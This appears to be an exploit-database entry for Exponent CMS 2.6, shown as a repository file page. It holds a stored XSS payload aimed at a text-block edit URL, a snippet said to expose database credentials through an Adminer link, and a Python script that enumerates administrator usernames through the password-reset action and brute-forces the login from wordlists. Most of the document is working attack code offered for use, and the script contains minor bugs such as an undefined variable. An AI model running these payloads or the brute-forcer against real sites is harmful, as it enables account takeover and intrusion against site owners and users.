00cc9f489e
3 changes to exploits/shellcodes WBCE CMS 1.5.1 - Admin Password Reset phpKF CMS 3.00 Beta y6 - Remote Code Execution (RCE) (Unauthenticated) Exponent CMS 2.6 - Multiple Vulnerabilities
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3 KiB
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104 lines
No EOL
3 KiB
Text
# Exploit Title: Exponent CMS 2.6 - Multiple Vulnerabilities
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# Exploit Author: heinjame
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# Date: 22/10/2021
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# Exploit Author: picaro_o
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# Vendor Homepage: https://www.exponentcms.org/
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# Version: <=2.6
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# Tested on: Linux os
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*Stored XSS*
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Affected parameter = >
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http://127.0.0.1:8082/expcms/text/edit/id/{id}/src/@footer (Title,
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Text Block)
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Payload = <iframe/src="data:text/html,<svg onload=alert(1)>">
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** *Database credential are disclosed in response ***
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POC
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```
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var adminerwindow = function (){
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var win =
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window.open('/expcms/external/adminer/admin.php?server=localhost&username=root&db=exponentcms');
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if (!win) { err(); }
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}
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```
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**Authentication Bruteforce*
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```
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import argparse
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import requests
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import sys
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parser = argparse.ArgumentParser()
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parser.add_argument("url", help="URL")
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parser.add_argument("Username list", help="Username List")
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parser.add_argument("Password list", help="Password List")
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pargs = parser.parse_args()
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host = sys.argv[1]
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userlist = sys.argv[2]
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passlist = sys.argv[3]
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try:
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readuser = open(userlist)
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readpass = open(passlist)
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except:
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print("Unable to load files")
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exit()
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def usernamebrute():
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s = requests.Session()
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for username in readuser.readlines():
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brute={
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'controller':(None,'users'),
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'src':(None,''),
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'int':(None,''),
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'action':(None,'send_new_password'),
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'username':(None,username.strip()),
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}
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bruteforce = s.post(host+"/index.php",files=brute)
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status = s.get(host+"/users/reset_password")
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if "administrator" in status.text:
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print("[+] Found username : "+ username)
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adminaccount = username
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checkpoint = True
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return adminaccount,checkpoint
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break
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def passwordbrute(adminaccount):
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s = requests.Session()
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s.cookies.set("csrftoken", "abc")
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header = {
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'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0)
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Gecko/20100101 Firefox/78.0',
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'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
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'Accept-Language': 'en-US,en;q=0.5',
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'Accept-Encoding': 'gzip, deflate',
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'COntent-TYpE': 'applicatiOn/x-WWW-fOrm-urlencoded1',
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'Referer': host+'/login/showlogin'
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}
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for password in readpass.readlines():
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brute={
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'controller':'login',
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'src':'',
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'int':'',
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'action':'login',
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'username':adminaccount,
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'password':password.strip()
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}
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bruteforce = s.post(host+"/index.php",headers=header,data=brute)
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# print(bruteforce.text)
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status = s.get(host+"/login/showlogin",cookies=csrf)
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print(status.text)
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if "Invalid Username / Password" not in status.text:
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print("[+] Found Password : "+ password)
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break
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adminaccount,checkpoint = usernamebrute()
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if checkpoint == True:
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passwordbrute(adminaccount)
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else:
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print("Can't find username,We can't proceed sorry :(")
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``` |